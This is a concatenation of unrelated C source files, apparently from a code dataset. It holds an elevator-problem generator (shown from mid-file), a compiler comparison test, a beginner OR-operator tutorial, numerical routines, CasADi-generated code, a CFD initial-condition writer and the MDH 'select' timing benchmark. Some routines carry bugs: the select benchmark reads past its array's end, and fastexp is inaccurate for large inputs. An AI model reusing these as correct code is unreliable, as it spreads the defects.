gorigin[p] == gorigin[k] || gorigin[p] == gdestin[k] ) break; } if ( k < gpassengers ) { for ( k = 0; k < gpassengers; k++ ) { if ( k == p || !is_vip( k ) ) continue; if ( gdestin[k] == j ) break; } if ( k < gpassengers ) continue; } /* attendants shall have access to all locations where never_alone s * are waiting */ if ( is_attendant( p ) ) { for ( k = 0; k < gpassengers; k++ ) { if ( is_never_alone( k ) && gorigin[k] == j ) break; } if ( k < gpassengers ) continue; } /* no other constraints for no access floors ... ? */ gno_access_floors[i][gnum_no_access_floors[i]++] = j; } } } Bool is_up_down( int p ) { int i; for ( i = 0; i < gnum_up_down; i++ ) { if ( gup_down[i] == p ) return TRUE; } return FALSE; } Bool is_vip( int p ) { int i; for ( i = 0; i < gnum_vip; i++ ) { if ( gvip[i] == p ) return TRUE; } return FALSE; } Bool is_going_nonstop( int p ) { int i; for ( i = 0; i < gnum_going_nonstop; i++ ) { if ( ggoing_nonstop[i] == p ) return TRUE; } return FALSE; } Bool is_attendant( int p ) { int i; for ( i = 0; i < gnum_attendant; i++ ) { if ( gattendant[i] == p ) return TRUE; } return FALSE; } Bool is_never_alone( int p ) { int i; for ( i = 0; i < gnum_never_alone; i++ ) { if ( gnever_alone[i] == p ) return TRUE; } return FALSE; } Bool is_con_A( int p ) { int i; for ( i = 0; i < gnum_con_A; i++ ) { if ( gcon_A[i] == p ) return TRUE; } return FALSE; } Bool is_con_B( int p ) { int i; for ( i = 0; i < gnum_con_B; i++ ) { if ( gcon_B[i] == p ) return TRUE; } return FALSE; } Bool is_no_access( int p ) { int i; for ( i = 0; i < gnum_no_access; i++ ) { if ( gno_access[i] == p ) return TRUE; } return FALSE; } /* printing functions */ void print_all_type_lists( void ) { int i; Bool hit; /* passengers without any special type */ if ( gnum_passenger ) { for ( i = 0; i < gnum_passenger; i++ ) { // if ( i != 0 && i % 10 == 0 ) { // printf("\n "); // } printf("p%d ", gpassenger[i]); } printf("- passenger"); printf("\n "); } /* passengers that are either going_up or going_down */ if ( gnum_up_down ) { hit = FALSE; for ( i = 0; i < gnum_up_down; i++ ) { // if ( i != 0 && i % 10 == 0 ) { // printf("\n "); // } if ( gorigin[gup_down[i]] < gdestin[gup_down[i]] ) { printf("p%d ", gup_down[i]); hit = TRUE; } } if ( hit ) { printf("- going_up"); printf("\n "); } hit = FALSE; for ( i = 0; i < gnum_up_down; i++ ) { // if ( i != 0 && i % 10 == 0 ) { // printf("\n "); // } if ( gorigin[gup_down[i]] > gdestin[gup_down[i]] ) { printf("p%d ", gup_down[i]); hit = TRUE; } } if ( hit ) { printf("- going_down"); printf("\n "); } } /* vip s */ if ( gnum_vip ) { for ( i = 0; i < gnum_vip; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", gvip[i]); } printf("- vip"); printf("\n "); } /* going going_nonstop s */ if ( gnum_going_nonstop ) { for ( i = 0; i < gnum_going_nonstop; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", ggoing_nonstop[i]); } printf("- going_nonstop"); printf("\n "); } /* attendant s */ if ( gnum_attendant ) { for ( i = 0; i < gnum_attendant; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", gattendant[i]); } printf("- attendant"); printf("\n "); } /* never alone s */ if ( gnum_never_alone ) { for ( i = 0; i < gnum_never_alone; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", gnever_alone[i]); } printf("- never_alone"); printf("\n "); } /* conflict A s */ if ( gnum_con_A ) { for ( i = 0; i < gnum_con_A; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", gcon_A[i]); } printf("- conflict_A"); printf("\n "); } /* conflict B s */ if ( gnum_con_B ) { for ( i = 0; i < gnum_con_B; i++ ) { if ( i != 0 && i % 10 == 0 ) { printf("\n "); } printf("p%d ", gcon_B[i]); } printf("- conflict_B"); printf("\n "); } } void print_no_access_facts( void ) { int i, j; for ( i = 0; i < gnum_no_access; i++ ) { for ( j = 0; j < gnum_no_access_floors[i]; j++ ) { printf("\n(no-access p%d f%d)", gno_access[i], gno_access_floors[i][j] ); } } } /* command line functions */ void usage( void ) { printf("\nusage:\n"); printf("\nOPTIONS DESCRIPTIONS\n\n"); printf("-f <num> number of floors (minimal 2)\n"); printf("-p <num> number of passengers (minimal 1)\n\n"); } Bool process_command_line( int argc, char *argv[] ) { char option; while ( --argc && ++argv ) { if ( *argv[0] != '-' || strlen(*argv) != 2 ) { return FALSE; } option = *++argv[0]; switch ( option ) { default: if ( --argc && ++argv ) { switch ( option ) { case 'f': sscanf( *argv, "%d", &gfloors ); break; case 'p': sscanf( *argv, "%d", &gpassengers ); break; default: printf( "\n\nunknown option: %c entered\n\n", option ); return FALSE; } } else { return FALSE; } } } if ( gfloors < 2 || gpassengers < 1 ) { return FALSE; } return TRUE; }
the_stack_data/57950011.c
#include <stdlib.h> extern void abort(void); int main() { signed char a = -30; signed char b = -31; #if(__SIZEOF_INT__ >= 4) if (a > (unsigned short)b) #else if ((long) a > (unsigned short)b) #endif abort (); return 0; }
the_stack_data/847554.c
#include <stdio.h> #include <stdlib.h> //what if we need two conditions to be satisfied. // And output should be seen if and only two conditions are satisfies //imagine one phenomena for understanding. //// WE ARE TAKING SAME EXAMPLE OF PREVIOUS MODULE , WE WILL KNOW USE OF 'OR' OPERATOR. //// But in or operator only one statement need to be true , but both statements are false , else print will show up /* we want to buy one cell-phone. our requirements are , 4 gb ram . 32 gb storage space. now we will write one logic such that output will be seen IF ATLEAST ONE requirement is fulfilled. */ int main() { int ram; int storage; printf("Enter RAM \n"); scanf(" %d",&ram); printf("Enter Storage \n"); scanf(" %d",&storage); printf("You choose phone with %d RAM and %d Storage\n",ram,storage); if((storage>=32) || (ram>=8)) // its " OR " operator , if ONLY ONE conditions are satisfies , then output 1 print. { printf("It's a good Choice");//output 1 }else{ printf("Not a good choice");// if conditions not satisfied , this else statement will printout } // see in output screenshot , only one condition is satisfied though output (1) is printed out }
the_stack_data/12638709.c
#include <math.h> #include <stdio.h> #define sigmoid_exp fastexp inline double fastexp(double x) { /* e^x = 1 + x + (x^2 / 2!) + (x^3 / 3!) + (x^4 / 4!) */ double sum = 1 + x; double n = x; double d = 1; double i; for(i = 2; i < 100; i++) { n *= x; d *= i; sum += n / d; } return sum; } inline double sigmoid(double x) { return 1.00 / (1 + sigmoid_exp(0 - x)); } int main() { unsigned i; for(i = 100; i < 110; i++) { printf("%lf %lf\n", exp(i), fastexp(i)); } for(i = 0; i < 1000000000; i++) { sigmoid(i); } }
the_stack_data/153600.c
void dsprsax(double sa[], unsigned long ija[], double x[], double b[], unsigned long n) { void nrerror(char error_text[]); unsigned long i,k; if (ija[1] != n+2) nrerror("dsprsax: mismatched vector and matrix"); for (i=1;i<=n;i++) { b[i]=sa[i]*x[i]; for (k=ija[i];k<=ija[i+1]-1;k++) b[i] += sa[k]*x[ija[k]]; } }
the_stack_data/57951399.c
#include <stdlib.h> unsigned compress(unsigned x, unsigned m){ unsigned r, s, b; //Result, shift, mask bit. r = 0; s = 0; do{ b = m & 1; r = r | ((x & b) << s); s = s + b; x = x >> 1; m = m >> 1; }while(m != 0); return r; } unsigned compress_parallel_suffix(unsigned x, unsigned m){ unsigned mk, mp, mv, t; int i; x = x & m; // Clear irrelevant bits. mk = ~m << 1; // We will count 0's to right. for (i = 0; i < 5; ++i){ mp = mk ^ (mk << 1); // Parallel suffux. mp = mp ^ (mp << 2); mp = mp ^ (mp << 4); mp = mp ^ (mp << 8); mp = mp ^ (mp << 16); mv = mp & m; // Bits to move. m = m ^ mv | (mv >> (1 << i )); // Compress m. t = x & mv; x = x ^ t | (t >> (1 << i)); // Compress x. mk = mk & ~mp; } return x; } unsigned expand_parallel_suffix(unsigned x, unsigned m){ unsigned m0, mk, mp, mv, t; unsigned array[5]; int i; m0 = m; // Save original mask. mk = -m << 1; // We will count 0's to right. for (i = 0; i < 5; ++i){ mp = mk ^ (mk << 1); // Parallel suffux. mp = mp ^ (mp << 2); mp = mp ^ (mp << 4); mp = mp ^ (mp << 8); mp = mp ^ (mp << 16); mv = mp & m; // Bits to move. array[i] = mv; m = (m ^ mv) | (mv >> (1 << i )); // Compress m. mk = mk & -mp; } for (i = 4; i >= 0; --i){ mv = array[i]; t = x << (1 << i); x = (x & -mv) | (t & mv); } return x & m0; // Clear out extraneous bits. }
the_stack_data/193892635.c
int main() { return 1; }
the_stack_data/54825561.c
/* This file was automatically generated by CasADi. The CasADi copyright holders make no ownership claim of its contents. */ #ifdef __cplusplus extern "C" { #endif /* How to prefix internal symbols */ #ifdef CODEGEN_PREFIX #define NAMESPACE_CONCAT(NS, ID) _NAMESPACE_CONCAT(NS, ID) #define _NAMESPACE_CONCAT(NS, ID) NS ## ID #define CASADI_PREFIX(ID) NAMESPACE_CONCAT(CODEGEN_PREFIX, ID) #else #define CASADI_PREFIX(ID) vde_adj_chain_nm8_ ## ID #endif #include <math.h> #ifndef casadi_real #define casadi_real double #endif #ifndef casadi_int #define casadi_int int #endif /* Add prefix to internal symbols */ #define casadi_f0 CASADI_PREFIX(f0) #define casadi_s0 CASADI_PREFIX(s0) #define casadi_s1 CASADI_PREFIX(s1) #define casadi_s2 CASADI_PREFIX(s2) #define casadi_sq CASADI_PREFIX(sq) /* Symbol visibility in DLLs */ #ifndef CASADI_SYMBOL_EXPORT #if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__) #if defined(STATIC_LINKED) #define CASADI_SYMBOL_EXPORT #else #define CASADI_SYMBOL_EXPORT __declspec(dllexport) #endif #elif defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY) #define CASADI_SYMBOL_EXPORT __attribute__ ((visibility ("default"))) #else #define CASADI_SYMBOL_EXPORT #endif #endif static const casadi_int casadi_s0[46] = {42, 1, 0, 42, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41}; static const casadi_int casadi_s1[7] = {3, 1, 0, 3, 0, 1, 2}; static const casadi_int casadi_s2[49] = {45, 1, 0, 45, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44}; casadi_real casadi_sq(casadi_real x) { return x*x;} /* vde_adj_chain_nm8:(i0[42],i1[42],i2[3])->(o0[45]) */ static int casadi_f0(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, void* mem) { casadi_real a0, a1, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a2, a20, a21, a22, a23, a24, a25, a26, a27, a28, a3, a4, a5, a6, a7, a8, a9; a0=1.; a1=3.3000000000000002e-02; a2=arg[0] ? arg[0][0] : 0; a3=casadi_sq(a2); a4=arg[0] ? arg[0][1] : 0; a5=casadi_sq(a4); a3=(a3+a5); a5=arg[0] ? arg[0][2] : 0; a6=casadi_sq(a5); a3=(a3+a6); a3=sqrt(a3); a6=(a1/a3); a7=(a0-a6); a8=3.3333333333333336e+01; a9=arg[1] ? arg[1][3] : 0; a9=(a8*a9); a10=(a7*a9); a11=(a2+a2); a6=(a6/a3); a12=arg[1] ? arg[1][5] : 0; a12=(a8*a12); a13=(a5*a12); a14=arg[1] ? arg[1][4] : 0; a14=(a8*a14); a15=(a4*a14); a13=(a13+a15); a15=(a2*a9); a13=(a13+a15); a6=(a6*a13); a3=(a3+a3); a6=(a6/a3); a11=(a11*a6); a10=(a10+a11); a11=arg[0] ? arg[0][6] : 0; a2=(a11-a2); a3=casadi_sq(a2); a13=arg[0] ? arg[0][7] : 0; a15=(a13-a4); a16=casadi_sq(a15); a3=(a3+a16); a16=arg[0] ? arg[0][8] : 0; a17=(a16-a5); a18=casadi_sq(a17); a3=(a3+a18); a3=sqrt(a3); a18=(a1/a3); a19=(a0-a18); a20=arg[1] ? arg[1][9] : 0; a20=(a8*a20); a9=(a9-a20); a21=(a19*a9); a22=(a2+a2); a18=(a18/a3); a23=arg[1] ? arg[1][11] : 0; a23=(a8*a23); a24=(a12-a23); a25=(a17*a24); a26=arg[1] ? arg[1][10] : 0; a26=(a8*a26); a27=(a14-a26); a28=(a15*a27); a25=(a25+a28); a2=(a2*a9); a25=(a25+a2); a18=(a18*a25); a3=(a3+a3); a18=(a18/a3); a22=(a22*a18); a21=(a21+a22); a10=(a10+a21); a10=(-a10); if (res[0]!=0) res[0][0]=a10; a14=(a7*a14); a4=(a4+a4); a4=(a4*a6); a14=(a14+a4); a27=(a19*a27); a15=(a15+a15); a15=(a15*a18); a27=(a27+a15); a14=(a14+a27); a14=(-a14); if (res[0]!=0) res[0][1]=a14; a7=(a7*a12); a5=(a5+a5); a5=(a5*a6); a7=(a7+a5); a19=(a19*a24); a17=(a17+a17); a17=(a17*a18); a19=(a19+a17); a7=(a7+a19); a7=(-a7); if (res[0]!=0) res[0][2]=a7; a7=arg[1] ? arg[1][0] : 0; if (res[0]!=0) res[0][3]=a7; a7=arg[1] ? arg[1][1] : 0; if (res[0]!=0) res[0][4]=a7; a7=arg[1] ? arg[1][2] : 0; if (res[0]!=0) res[0][5]=a7; a7=arg[0] ? arg[0][12] : 0; a11=(a7-a11); a17=casadi_sq(a11); a18=arg[0] ? arg[0][13] : 0; a13=(a18-a13); a24=casadi_sq(a13); a17=(a17+a24); a24=arg[0] ? arg[0][14] : 0; a16=(a24-a16); a5=casadi_sq(a16); a17=(a17+a5); a17=sqrt(a17); a5=(a1/a17); a6=(a0-a5); a12=arg[1] ? arg[1][15] : 0; a12=(a8*a12); a20=(a20-a12); a14=(a6*a20); a15=(a11+a11); a5=(a5/a17); a4=arg[1] ? arg[1][17] : 0; a4=(a8*a4); a23=(a23-a4); a10=(a16*a23); a22=arg[1] ? arg[1][16] : 0; a22=(a8*a22); a26=(a26-a22); a3=(a13*a26); a10=(a10+a3); a11=(a11*a20); a10=(a10+a11); a5=(a5*a10); a17=(a17+a17); a5=(a5/a17); a15=(a15*a5); a14=(a14+a15); a21=(a21-a14); if (res[0]!=0) res[0][6]=a21; a26=(a6*a26); a13=(a13+a13); a13=(a13*a5); a26=(a26+a13); a27=(a27-a26); if (res[0]!=0) res[0][7]=a27; a6=(a6*a23); a16=(a16+a16); a16=(a16*a5); a6=(a6+a16); a19=(a19-a6); if (res[0]!=0) res[0][8]=a19; a19=arg[1] ? arg[1][6] : 0; if (res[0]!=0) res[0][9]=a19; a19=arg[1] ? arg[1][7] : 0; if (res[0]!=0) res[0][10]=a19; a19=arg[1] ? arg[1][8] : 0; if (res[0]!=0) res[0][11]=a19; a19=arg[0] ? arg[0][18] : 0; a7=(a19-a7); a16=casadi_sq(a7); a5=arg[0] ? arg[0][19] : 0; a18=(a5-a18); a23=casadi_sq(a18); a16=(a16+a23); a23=arg[0] ? arg[0][20] : 0; a24=(a23-a24); a27=casadi_sq(a24); a16=(a16+a27); a16=sqrt(a16); a27=(a1/a16); a13=(a0-a27); a21=arg[1] ? arg[1][21] : 0; a21=(a8*a21); a12=(a12-a21); a15=(a13*a12); a17=(a7+a7); a27=(a27/a16); a10=arg[1] ? arg[1][23] : 0; a10=(a8*a10); a4=(a4-a10); a11=(a24*a4); a20=arg[1] ? arg[1][22] : 0; a20=(a8*a20); a22=(a22-a20); a3=(a18*a22); a11=(a11+a3); a7=(a7*a12); a11=(a11+a7); a27=(a27*a11); a16=(a16+a16); a27=(a27/a16); a17=(a17*a27); a15=(a15+a17); a14=(a14-a15); if (res[0]!=0) res[0][12]=a14; a22=(a13*a22); a18=(a18+a18); a18=(a18*a27); a22=(a22+a18); a26=(a26-a22); if (res[0]!=0) res[0][13]=a26; a13=(a13*a4); a24=(a24+a24); a24=(a24*a27); a13=(a13+a24); a6=(a6-a13); if (res[0]!=0) res[0][14]=a6; a6=arg[1] ? arg[1][12] : 0; if (res[0]!=0) res[0][15]=a6; a6=arg[1] ? arg[1][13] : 0; if (res[0]!=0) res[0][16]=a6; a6=arg[1] ? arg[1][14] : 0; if (res[0]!=0) res[0][17]=a6; a6=arg[0] ? arg[0][24] : 0; a19=(a6-a19); a24=casadi_sq(a19); a27=arg[0] ? arg[0][25] : 0; a5=(a27-a5); a4=casadi_sq(a5); a24=(a24+a4); a4=arg[0] ? arg[0][26] : 0; a23=(a4-a23); a26=casadi_sq(a23); a24=(a24+a26); a24=sqrt(a24); a26=(a1/a24); a18=(a0-a26); a14=arg[1] ? arg[1][27] : 0; a14=(a8*a14); a21=(a21-a14); a17=(a18*a21); a16=(a19+a19); a26=(a26/a24); a11=arg[1] ? arg[1][29] : 0; a11=(a8*a11); a10=(a10-a11); a7=(a23*a10); a12=arg[1] ? arg[1][28] : 0; a12=(a8*a12); a20=(a20-a12); a3=(a5*a20); a7=(a7+a3); a19=(a19*a21); a7=(a7+a19); a26=(a26*a7); a24=(a24+a24); a26=(a26/a24); a16=(a16*a26); a17=(a17+a16); a15=(a15-a17); if (res[0]!=0) res[0][18]=a15; a20=(a18*a20); a5=(a5+a5); a5=(a5*a26); a20=(a20+a5); a22=(a22-a20); if (res[0]!=0) res[0][19]=a22; a18=(a18*a10); a23=(a23+a23); a23=(a23*a26); a18=(a18+a23); a13=(a13-a18); if (res[0]!=0) res[0][20]=a13; a13=arg[1] ? arg[1][18] : 0; if (res[0]!=0) res[0][21]=a13; a13=arg[1] ? arg[1][19] : 0; if (res[0]!=0) res[0][22]=a13; a13=arg[1] ? arg[1][20] : 0; if (res[0]!=0) res[0][23]=a13; a13=arg[0] ? arg[0][30] : 0; a6=(a13-a6); a23=casadi_sq(a6); a26=arg[0] ? arg[0][31] : 0; a27=(a26-a27); a10=casadi_sq(a27); a23=(a23+a10); a10=arg[0] ? arg[0][32] : 0; a4=(a10-a4); a22=casadi_sq(a4); a23=(a23+a22); a23=sqrt(a23); a22=(a1/a23); a5=(a0-a22); a15=arg[1] ? arg[1][33] : 0; a15=(a8*a15); a14=(a14-a15); a16=(a5*a14); a24=(a6+a6); a22=(a22/a23); a7=arg[1] ? arg[1][35] : 0; a7=(a8*a7); a11=(a11-a7); a19=(a4*a11); a21=arg[1] ? arg[1][34] : 0; a8=(a8*a21); a12=(a12-a8); a21=(a27*a12); a19=(a19+a21); a6=(a6*a14); a19=(a19+a6); a22=(a22*a19); a23=(a23+a23); a22=(a22/a23); a24=(a24*a22); a16=(a16+a24); a17=(a17-a16); if (res[0]!=0) res[0][24]=a17; a12=(a5*a12); a27=(a27+a27); a27=(a27*a22); a12=(a12+a27); a20=(a20-a12); if (res[0]!=0) res[0][25]=a20; a5=(a5*a11); a4=(a4+a4); a4=(a4*a22); a5=(a5+a4); a18=(a18-a5); if (res[0]!=0) res[0][26]=a18; a18=arg[1] ? arg[1][24] : 0; if (res[0]!=0) res[0][27]=a18; a18=arg[1] ? arg[1][25] : 0; if (res[0]!=0) res[0][28]=a18; a18=arg[1] ? arg[1][26] : 0; if (res[0]!=0) res[0][29]=a18; a18=arg[0] ? arg[0][36] : 0; a18=(a18-a13); a13=casadi_sq(a18); a4=arg[0] ? arg[0][37] : 0; a4=(a4-a26); a26=casadi_sq(a4); a13=(a13+a26); a26=arg[0] ? arg[0][38] : 0; a26=(a26-a10); a10=casadi_sq(a26); a13=(a13+a10); a13=sqrt(a13); a1=(a1/a13); a0=(a0-a1); a10=(a0*a15); a22=(a18+a18); a1=(a1/a13); a11=(a26*a7); a20=(a4*a8); a11=(a11+a20); a18=(a18*a15); a11=(a11+a18); a1=(a1*a11); a13=(a13+a13); a1=(a1/a13); a22=(a22*a1); a10=(a10+a22); a16=(a16-a10); if (res[0]!=0) res[0][30]=a16; a8=(a0*a8); a4=(a4+a4); a4=(a4*a1); a8=(a8+a4); a12=(a12-a8); if (res[0]!=0) res[0][31]=a12; a0=(a0*a7); a26=(a26+a26); a26=(a26*a1); a0=(a0+a26); a5=(a5-a0); if (res[0]!=0) res[0][32]=a5; a5=arg[1] ? arg[1][30] : 0; if (res[0]!=0) res[0][33]=a5; a5=arg[1] ? arg[1][31] : 0; if (res[0]!=0) res[0][34]=a5; a5=arg[1] ? arg[1][32] : 0; if (res[0]!=0) res[0][35]=a5; if (res[0]!=0) res[0][36]=a10; if (res[0]!=0) res[0][37]=a8; if (res[0]!=0) res[0][38]=a0; a0=arg[1] ? arg[1][36] : 0; if (res[0]!=0) res[0][39]=a0; a0=arg[1] ? arg[1][37] : 0; if (res[0]!=0) res[0][40]=a0; a0=arg[1] ? arg[1][38] : 0; if (res[0]!=0) res[0][41]=a0; a0=arg[1] ? arg[1][39] : 0; if (res[0]!=0) res[0][42]=a0; a0=arg[1] ? arg[1][40] : 0; if (res[0]!=0) res[0][43]=a0; a0=arg[1] ? arg[1][41] : 0; if (res[0]!=0) res[0][44]=a0; return 0; } CASADI_SYMBOL_EXPORT int vde_adj_chain_nm8(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, void* mem){ return casadi_f0(arg, res, iw, w, mem); } CASADI_SYMBOL_EXPORT void vde_adj_chain_nm8_incref(void) { } CASADI_SYMBOL_EXPORT void vde_adj_chain_nm8_decref(void) { } CASADI_SYMBOL_EXPORT casadi_int vde_adj_chain_nm8_n_in(void) { return 3;} CASADI_SYMBOL_EXPORT casadi_int vde_adj_chain_nm8_n_out(void) { return 1;} CASADI_SYMBOL_EXPORT const char* vde_adj_chain_nm8_name_in(casadi_int i){ switch (i) { case 0: return "i0"; case 1: return "i1"; case 2: return "i2"; default: return 0; } } CASADI_SYMBOL_EXPORT const char* vde_adj_chain_nm8_name_out(casadi_int i){ switch (i) { case 0: return "o0"; default: return 0; } } CASADI_SYMBOL_EXPORT const casadi_int* vde_adj_chain_nm8_sparsity_in(casadi_int i) { switch (i) { case 0: return casadi_s0; case 1: return casadi_s0; case 2: return casadi_s1; default: return 0; } } CASADI_SYMBOL_EXPORT const casadi_int* vde_adj_chain_nm8_sparsity_out(casadi_int i) { switch (i) { case 0: return casadi_s2; default: return 0; } } CASADI_SYMBOL_EXPORT int vde_adj_chain_nm8_work(casadi_int *sz_arg, casadi_int* sz_res, casadi_int *sz_iw, casadi_int *sz_w) { if (sz_arg) *sz_arg = 3; if (sz_res) *sz_res = 1; if (sz_iw) *sz_iw = 0; if (sz_w) *sz_w = 0; return 0; } #ifdef __cplusplus } /* extern "C" */ #endif
the_stack_data/232377.c
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> int main() { const double GAMMA = 1.4; int NI,NJ,NK,ndims; char ip_file_type[50]; strcpy(ip_file_type,"ascii"); FILE *in; printf("Reading file \"solver.inp\"...\n"); in = fopen("solver.inp","r"); if (!in) { printf("Error: Input file \"solver.inp\" not found.\n"); return(0); } else { char word[500]; fscanf(in,"%s",word); if (!strcmp(word, "begin")){ while (strcmp(word, "end")){ fscanf(in,"%s",word); if (!strcmp(word, "ndims")) { fscanf(in,"%d",&ndims); } else if (!strcmp(word, "size" )) { fscanf(in,"%d",&NI); fscanf(in,"%d",&NJ); fscanf(in,"%d",&NK); } else if (!strcmp(word, "ip_file_type")) { fscanf(in,"%s",ip_file_type); } } } else { printf("Error: Illegal format in solver.inp. Crash and burn!\n"); return(0); } } fclose(in); if (ndims != 3) { printf("ndims is not 3 in solver.inp. this code is to generate 3D exact solution\n"); return(0); } printf("Grid:\t\t\t%d x %d x %d.\n", NI, NJ, NK); int i,j,k; double dx = 1.0 / ((double)(NI-1)); double dy = 1.0 / ((double)(NJ-1)); double dz = (dx < dy ? dx : dy); double *x, *y, *z, *U; x = (double*) calloc (NI , sizeof(double)); y = (double*) calloc (NJ , sizeof(double)); z = (double*) calloc (NK , sizeof(double)); U = (double*) calloc (5*NI*NJ*NK , sizeof(double)); for (i = 0; i < NI; i++){ for (j = 0; j < NJ; j++){ for (k = 0; k < NK; k++){ x[i] = -0.5 + i*dx; y[j] = -0.5 + j*dy; z[k] = k*dz; int p = i + NI*j + NI*NJ*k; double rho, u, v, w, P; if ((x[i] < 0) && (y[j] < 0)) { rho = 1.1; P = 1.1; u = 0.8939; v = 0.8939; } else if ((x[i] >= 0) && (y[j] < 0)) { rho = 0.5065; P = 0.35; u = 0.0; v = 0.8939; } else if ((x[i] < 0) && (y[j] >= 0)) { rho = 0.5065; P = 0.35; u = 0.8939; v = 0.0; } else if ((x[i] >= 0) && (y[j] >= 0)) { rho = 1.1; P = 1.1; u = 0.0; v = 0.0; } w = 0; U[5*p+0] = rho; U[5*p+1] = rho*u; U[5*p+2] = rho*v; U[5*p+3] = rho*w; U[5*p+4] = P/(GAMMA-1.0) + 0.5*rho*(u*u+v*v+w*w); } } } FILE *out; if (!strcmp(ip_file_type,"ascii")) { printf("Error: ascii output not implemented. Set ip_file_type to \"binary\" in solver.inp.\n"); } else if ((!strcmp(ip_file_type,"binary")) || (!strcmp(ip_file_type,"bin"))) { printf("Writing binary initial solution file initial.inp\n"); out = fopen("initial.inp","wb"); fwrite(x,sizeof(double),NI,out); fwrite(y,sizeof(double),NJ,out); fwrite(z,sizeof(double),NK,out); fwrite(U,sizeof(double),5*NI*NJ*NK,out); fclose(out); } free(x); free(y); free(z); free(U); return(0); }
the_stack_data/28261991.c
/* MDH WCET BENCHMARK SUITE. File version $Id: select.c,v 1.1 2005/12/06 16:08:12 jgn Exp $ */ /*************************************************************************/ /* */ /* SNU-RT Benchmark Suite for Worst Case Timing Analysis */ /* ===================================================== */ /* Collected and Modified by S.-S. Lim */ /* [email protected] */ /* Real-Time Research Group */ /* Seoul National University */ /* */ /* */ /* < Features > - restrictions for our experimental environment */ /* */ /* 1. Completely structured. */ /* - There are no unconditional jumps. */ /* - There are no exit from loop bodies. */ /* (There are no 'break' or 'return' in loop bodies) */ /* 2. No 'switch' statements. */ /* 3. No 'do..while' statements. */ /* 4. Expressions are restricted. */ /* - There are no multiple expressions joined by 'or', */ /* 'and' operations. */ /* 5. No library calls. */ /* - All the functions needed are implemented in the */ /* source file. */ /* */ /* */ /*************************************************************************/ /* */ /* FILE: select.c */ /* SOURCE : Numerical Recipes in C - The Second Edition */ /* */ /* DESCRIPTION : */ /* */ /* A function to select the Nth largest number in the floating poi- */ /* nt array arr[]. */ /* The parameters to function select are k and n. Then the function */ /* selects k-th largest number out of n original numbers. */ /* */ /* REMARK : */ /* */ /* EXECUTION TIME : */ /* */ /* */ /*************************************************************************/ /* Changes: Indented program. Return in main. */ float select(unsigned long k, unsigned long n); #define SWAP(a,b) temp=(a);(a)=(b);(b)=temp; float arr[20] = { 5, 4, 10.3, 1.1, 5.7, 100, 231, 111, 49.5, 99, 10, 150, 222.22, 101, 77, 44, 35, 20.54, 99.99, 888.88 }; float select(unsigned long k, unsigned long n) { unsigned long i, ir, j, l, mid; float a, temp; int flag, flag2; l = 1; ir = n; flag = flag2 = 0; while (!flag) { if (ir <= l + 1) { if (ir == l + 1) if (arr[ir] < arr[l]) { SWAP(arr[l], arr[ir]) } flag = 1; } else if (!flag) { mid = (l + ir) >> 1; SWAP(arr[mid], arr[l + 1]) if (arr[l + 1] > arr[ir]) { SWAP(arr[l + 1], arr[ir]) } if (arr[l] > arr[ir]) { SWAP(arr[l], arr[ir]) } if (arr[l + 1] > arr[l]) { SWAP(arr[l + 1], arr[l]) } i = l + 1; j = ir; a = arr[l]; while (!flag2) { i++; while (arr[i] < a) i++; j--; while (arr[j] > a) j--; if (j < i) flag2 = 1; if (!flag2) SWAP(arr[i], arr[j]); } arr[l] = arr[j]; arr[j] = a; if (j >= k) ir = j - 1; if (j <= k) l = i; } } return arr[k]; } int main(void) { select(10, 20); return 0; }